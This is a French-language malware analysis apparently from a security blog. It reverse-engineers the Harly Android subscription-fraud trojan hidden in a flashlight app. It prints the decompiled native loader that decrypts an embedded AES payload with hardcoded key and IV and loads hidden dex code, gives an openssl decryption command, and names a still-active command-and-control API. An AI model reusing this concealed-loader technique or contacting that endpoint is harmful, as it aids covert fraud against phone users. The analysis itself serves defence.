Harly est une famille de malware (Trojan Subscriber) qui cible les plateformes Android et a été téléchargé environ 4.8 millions de fois depuis le magasin Google Play.
Cet article est le résultat de la rétro-ingénierie (“reverse engineering”) d’une version de ce malware.
La famille du malware Harly se déguise sous forme d’applications légitimes dans le magasin Android. Ces applications effectuent des souscriptions à une variété de services payants, dont le coût peut être important, sans que l’utilisatrice ou l’utilisateur s’en aperçoive.
Le malware présenté dans cet article est l’application “BinBin Flash” qui a été téléchargée plus de 10 000 fois.
Ces types de malware vont avoir besoin des permissions pour :
la persmission
android.permission.RECEIVE_BOOT _COMPLETED
est utilisée pour assurer la persistance du malware afin qu’il s’exécute à chaque démarrage.
Le point d’entrée de l’application défini dans le fichier AndroidManfest.xml
est la classe com.binbin.flashlignt.App
.
La fonction onCreate
, qui va être exécutée à chaque démarrage de l’application, exécute la fonction s()
. Cette fonction va charger la librairie main
(libmain.so
) contenue dans le package de l’application :
Information: On peut constater que la librairie est compilée pour les plateformes “ARM aarch64” uniquement.
libmain.so
Lors des chargements des librairies Android, la première fonction à être exécutée de la librairie est la fonction JNI_OnLoad
. Dans le cas de la librairie libmain.so
, la fonction est la suivante :
La présence de
_cgo_
comme préfixe au nom de la fonction signifie que la librairie a été developpé en GoLang.
L’appel de la fonction crosscall2
va appeler la fonction JNI_OnLoad
écrite en Go:
Les imbrications continuent, jusqu’à l’arrivée à la fonction decode
:
void sym._cgo_3d9b7d535ea4_Cfunc_decode(int64_t **arg1) { uint uVar1; int32_t iVar2; ulong uVar3; ulong uVar4; ulong uVar5; ulong uVar6; ulong uVar7; ulong uVar8; ulong uVar9; ulong uVar10; ulong uVar11; ulong uVar12; ulong uVar13; ulong uVar14; ulong uVar15; ulong uVar16; ulong uVar17; ulong uVar18; uint64_t uVar19; int64_t iVar20; int64_t *piVar21; code *pcVar22; code *pcVar23; piVar21 = *arg1; uVar3 = (**(*piVar21 + 0x30))(piVar21, "android/app/ActivityThread"); uVar4 = (**(*piVar21 + 0x388))(piVar21, uVar3, "currentApplication", "()Landroid/app/Application;"); uVar3 = (**(*piVar21 + 0x390))(piVar21, uVar3, uVar4); uVar4 = (**(*piVar21 + 0x30))(piVar21, "android/content/Context"); uVar5 = (**(*piVar21 + 0x108))(piVar21, uVar4, "getAssets", "()Landroid/content/res/AssetManager;"); uVar5 = (**(*piVar21 + 0x110))(piVar21, uVar3, uVar5); uVar6 = (**(*piVar21 + 0xf8))(piVar21, uVar5); uVar6 = (**(*piVar21 + 0x108))(piVar21, uVar6, "open", "(Ljava/lang/String;)Ljava/io/InputStream;"); pcVar22 = *(*piVar21 + 0x110); uVar7 = (**(*piVar21 + 0x538))(piVar21, "riip"); uVar5 = (*pcVar22)(piVar21, uVar5, uVar6, uVar7); uVar6 = (**(*piVar21 + 0x30))(piVar21, "javax/crypto/Cipher"); uVar7 = (**(*piVar21 + 0x388))(piVar21, uVar6, "getInstance", "(Ljava/lang/String;)Ljavax/crypto/Cipher;"); pcVar22 = *(*piVar21 + 0x390); uVar8 = (**(*piVar21 + 0x538))(piVar21, "AES/CBC/PKCS5PADDING"); uVar7 = (*pcVar22)(piVar21, uVar6, uVar7, uVar8); uVar6 = (**(*piVar21 + 0x108)) (piVar21, uVar6, "init", "(ILjava/security/Key;Ljava/security/spec/AlgorithmParameterSpec;)V"); uVar8 = (**(*piVar21 + 0x30))(piVar21, "javax/crypto/spec/SecretKeySpec"); uVar9 = (**(*piVar21 + 0x108))(piVar21, uVar8, "<init>", "([BLjava/lang/String;)V"); uVar10 = (**(*piVar21 + 0x30))(piVar21, "android/util/Base64"); uVar11 = (**(*piVar21 + 0x388))(piVar21, uVar10, "decode", "(Ljava/lang/String;I)[B"); pcVar22 = *(*piVar21 + 0x4b0); uVar12 = (**(*piVar21 + 0x480))(piVar21, uVar10, "NO_WRAP", 0xde469); uVar1 = (*pcVar22)(piVar21, uVar10, uVar12); uVar12 = (**(*piVar21 + 0x30))(piVar21, "javax/crypto/spec/IvParameterSpec"); uVar13 = (**(*piVar21 + 0x108))(piVar21, uVar12, "<init>", "([B)V"); pcVar22 = *(*piVar21 + 0x390); uVar14 = (**(*piVar21 + 0x538))(piVar21, "7ml+VE/evGdz4hzjsbWNd7QJ6yfmskgtaDDlq3gzi/k="); uVar14 = (*pcVar22)(piVar21, uVar10, uVar11, uVar14, uVar1); pcVar22 = *(*piVar21 + 0x390); uVar15 = (**(*piVar21 + 0x538))(piVar21, "vpCngUOEcHLMC3dFv7lstg=="); uVar10 = (*pcVar22)(piVar21, uVar10, uVar11, uVar15, uVar1); iVar20 = *piVar21; pcVar22 = *(iVar20 + 0x1e8); pcVar23 = *(iVar20 + 0xe0); uVar11 = (**(iVar20 + 0x538))(piVar21, 0xde301); uVar8 = (*pcVar23)(piVar21, uVar8, uVar9, uVar14, uVar11); uVar9 = (**(*piVar21 + 0xe0))(piVar21, uVar12, uVar13, uVar10); (*pcVar22)(piVar21, uVar7, uVar6, 2, uVar8, uVar9); uVar6 = (**(*piVar21 + 0x30))(piVar21, "javax/crypto/CipherInputStream"); uVar8 = (**(*piVar21 + 0x108))(piVar21, uVar6, "<init>", "(Ljava/io/InputStream;Ljavax/crypto/Cipher;)V"); uVar5 = (**(*piVar21 + 0xe0))(piVar21, uVar6, uVar8, uVar5, uVar7); uVar6 = (**(*piVar21 + 0x30))(piVar21, "java/nio/channels/Channels"); uVar7 = (**(*piVar21 + 0x388)) (piVar21, uVar6, "newChannel", "(Ljava/io/InputStream;)Ljava/nio/channels/ReadableByteChannel;"); uVar5 = (**(*piVar21 + 0x390))(piVar21, uVar6, uVar7, uVar5); uVar8 = (**(*piVar21 + 0x108))(piVar21, uVar4, "getFilesDir", "()Ljava/io/File;"); uVar8 = (**(*piVar21 + 0x110))(piVar21, uVar3, uVar8); uVar9 = (**(*piVar21 + 0x30))(piVar21, "java/io/File"); uVar10 = (**(*piVar21 + 0x108))(piVar21, uVar9, "<init>", "(Ljava/io/File;Ljava/lang/String;)V"); pcVar22 = *(*piVar21 + 0xe0); uVar11 = (**(*piVar21 + 0x538))(piVar21, "packaged.zip"); uVar11 = (*pcVar22)(piVar21, uVar9, uVar10, uVar8, uVar11); uVar12 = (**(*piVar21 + 0x30))(piVar21, "java/io/FileOutputStream"); uVar13 = (**(*piVar21 + 0x108))(piVar21, uVar12, "<init>", "(Ljava/io/File;)V"); uVar14 = (**(*piVar21 + 0xe0))(piVar21, uVar12, uVar13, uVar11); uVar15 = (**(*piVar21 + 0x108))(piVar21, uVar12, "getChannel", "()Ljava/nio/channels/FileChannel;"); uVar14 = (**(*piVar21 + 0x110))(piVar21, uVar14); uVar16 = (**(*piVar21 + 0xf8))(piVar21, uVar14); uVar16 = (**(*piVar21 + 0x108))(piVar21, uVar16, "transferFrom", "(Ljava/nio/channels/ReadableByteChannel;JJ)J"); (**(*piVar21 + 0x1a0))(piVar21, uVar14, uVar16, uVar5, 0, 0xcb564); pcVar22 = *(*piVar21 + 0x108); uVar17 = (**(*piVar21 + 0x30))(piVar21, "java/io/Closeable"); uVar17 = (*pcVar22)(piVar21, uVar17, "close", 0xde358); (**(*piVar21 + 0x1e8))(piVar21, uVar14, uVar17); (**(*piVar21 + 0x1e8))(piVar21, uVar5, uVar17); uVar5 = (**(*piVar21 + 0x30))(piVar21, "java/util/zip/ZipFile"); uVar14 = (**(*piVar21 + 0x108))(piVar21, uVar5, "<init>", "(Ljava/io/File;)V"); uVar11 = (**(*piVar21 + 0xe0))(piVar21, uVar5, uVar14, uVar11); uVar14 = (**(*piVar21 + 0x108))(piVar21, uVar5, "getEntry", "(Ljava/lang/String;)Ljava/util/zip/ZipEntry;"); pcVar22 = *(*piVar21 + 0x110); uVar18 = (**(*piVar21 + 0x538))(piVar21, "loader.dex"); uVar14 = (*pcVar22)(piVar21, uVar11, uVar14, uVar18); uVar18 = (**(*piVar21 + 0xf8))(piVar21, uVar14); uVar18 = (**(*piVar21 + 0x108))(piVar21, uVar18, "getSize", 0xde31a); uVar19 = (**(*piVar21 + 0x1a0))(piVar21, uVar14, uVar18); uVar5 = (**(*piVar21 + 0x108))(piVar21, uVar5, "getInputStream", "(Ljava/util/zip/ZipEntry;)Ljava/io/InputStream;"); uVar5 = (**(*piVar21 + 0x110))(piVar21, uVar11, uVar5, uVar14); uVar5 = (**(*piVar21 + 0x390))(piVar21, uVar6, uVar7, uVar5); uVar6 = (**(*piVar21 + 0x30))(piVar21, "android/os/Build$VERSION"); uVar7 = (**(*piVar21 + 0x480))(piVar21, uVar6, "SDK_INT", 0xde469); iVar2 = (**(*piVar21 + 0x4b0))(piVar21, uVar6, uVar7); uVar4 = (**(*piVar21 + 0x108))(piVar21, uVar4, "getClassLoader", "()Ljava/lang/ClassLoader;"); uVar4 = (**(*piVar21 + 0x110))(piVar21, uVar3, uVar4); iVar20 = *piVar21; if (iVar2 < 0x1a) { pcVar22 = *(iVar20 + 0xe0); uVar6 = (**(iVar20 + 0x538))(piVar21, "loader.dex"); uVar6 = (*pcVar22)(piVar21, uVar9, uVar10, uVar8, uVar6); uVar7 = (**(*piVar21 + 0xe0))(piVar21, uVar12, uVar13, uVar6); uVar7 = (**(*piVar21 + 0x110))(piVar21, uVar7, uVar15); (**(*piVar21 + 0x1a0))(piVar21, uVar7, uVar16, uVar5, 0, uVar19); (**(*piVar21 + 0x1e8))(piVar21, uVar7, uVar17); uVar7 = (**(*piVar21 + 0x30))(piVar21, "dalvik/system/PathClassLoader"); uVar8 = (**(*piVar21 + 0x108))(piVar21, uVar7, "<init>", "(Ljava/lang/String;Ljava/lang/ClassLoader;)V"); uVar9 = (**(*piVar21 + 0x108))(piVar21, uVar9, "getAbsolutePath", "()Ljava/lang/String;"); uVar6 = (**(*piVar21 + 0x110))(piVar21, uVar6, uVar9); pcVar22 = *(*piVar21 + 0xe0); } else { uVar6 = (**(iVar20 + 0x30))(piVar21, "java/nio/ByteBuffer"); uVar7 = (**(*piVar21 + 0x388))(piVar21, uVar6, "allocateDirect", "(I)Ljava/nio/ByteBuffer;"); uVar8 = (**(*piVar21 + 0x108))(piVar21, uVar6, "flip", "()Ljava/nio/Buffer;"); pcVar22 = *(*piVar21 + 0x108); uVar9 = (**(*piVar21 + 0xf8))(piVar21, uVar5); uVar9 = (*pcVar22)(piVar21, uVar9, "read", "(Ljava/nio/ByteBuffer;)I"); uVar6 = (**(*piVar21 + 0x390))(piVar21, uVar6, uVar7, uVar19 & 0xffffffff); (**(*piVar21 + 0x188))(piVar21, uVar5, uVar9, uVar6); (**(*piVar21 + 0x110))(piVar21, uVar6, uVar8); uVar7 = (**(*piVar21 + 0x30))(piVar21, "dalvik/system/InMemoryDexClassLoader"); uVar8 = (**(*piVar21 + 0x108))(piVar21, uVar7, "<init>", "(Ljava/nio/ByteBuffer;Ljava/lang/ClassLoader;)V"); pcVar22 = *(*piVar21 + 0xe0); } uVar4 = (*pcVar22)(piVar21, uVar7, uVar8, uVar6, uVar4); (**(*piVar21 + 0x1e8))(piVar21, uVar5, uVar17); (**(*piVar21 + 0x1e8))(piVar21, uVar11, uVar17); uVar5 = (**(*piVar21 + 0x30))(piVar21, "java/lang/ClassLoader"); uVar5 = (**(*piVar21 + 0x108))(piVar21, uVar5, "loadClass", "(Ljava/lang/String;)Ljava/lang/Class;"); pcVar22 = *(*piVar21 + 0x110); uVar6 = (**(*piVar21 + 0x538))(piVar21, "com.google.loader.Engine"); uVar4 = (*pcVar22)(piVar21, uVar4, uVar5, uVar6); uVar5 = (**(*piVar21 + 0x388))(piVar21, uVar4, "start", "(Landroid/content/Context;)V"); // WARNING: Could not recover jumptable at 0x002cb074. Too many branches // WARNING: Treating indirect jump as call (**(*piVar21 + 0x468))(piVar21, uVar4, uVar5, uVar3); return; }
On peut résumer l’exécution de cette fonction avec les points suivants:
riip
, des ressources, qui est chiffré en AES-256riip
:7ml+VE/evGdz4hzjsbWNd7QJ6yfmskgtaDDlq3gzi/k=
encodée en Base64vpCngUOEcHLMC3dFv7lstg==
encodé en Base64packaged.zip
packaged.zip
loader.dex
contenu dans l’archive com.google.loader.Engine
de loader.dex
riip
La fonction decode
ne permet pas de déterminer le fonctionnement du bytecode loader.dex
. La solution est de déchiffrer le fichier riip
et investiguer son contenu. Pour ce faire, la commande openssl
avec les informations précédentes (algorithme utilisé, clé et IV) peut être utilisée:
openssl enc -aes-256-cbc -d -k $(python -c "import base64; print(base64.b64decode('7ml+VE/evGdz4hzjsbWNd7QJ6yfmskgtaDDlq3gzi/k=').hex())") -iv $(python -c "import base64; print(base64.b64decode('vpCngUOEcHLMC3dFv7lstg==').hex())") -in riip -out packages.zip
L’archive déchiffrée résultante de la commande mentionnée ci-dessus contient trois fichiers :
Loader.dex
kernel.dex
epic.so
Loader.dex
La classe com.google.loader.Engine
, le point d’entrée lancer par la librairie main.so
, du bytecode Loader.dex
est la suivante:
Le rôle de cette classe est de charger le bytecode kernel.dex
et d’exécuter la classe needle.kernel.Needle
.
Kernel.dex
Le bytecode Kernel.dex
utilise la technique “Aspect-oriented Programming” (AOP) pour effectuer des “hook” des fonctions à l’aide de la librairie epic.so
.
Note: Les détails du AOP ne seront pas abordés dans cet article. Si vous êtes intéressés pour en savoir plus n’hésitez pas à nous contacter
Le point d’entrée est la classe needle.kernel
, qui va initialiser la configuration, sachant:
appId
: l’identifiant de l’application du malware en questionUne vérification périodique est effectuée afin de détecter si le smartphone est connecté à un réseau Wifi. Si cela est le cas, aucune opération n’est effectuée. Dans le cas échéant le malware va effectuer des souscriptions à des services en envoyant une requête avec les différents paramètres recueillis à l’API http://api[.]analysis[-]portpull.com/api/offer/trans
.
Attention: l’API est toujours active et est activement utilisée par le malware
http://api[.]analysis[-]portpull.com/api/offer/trans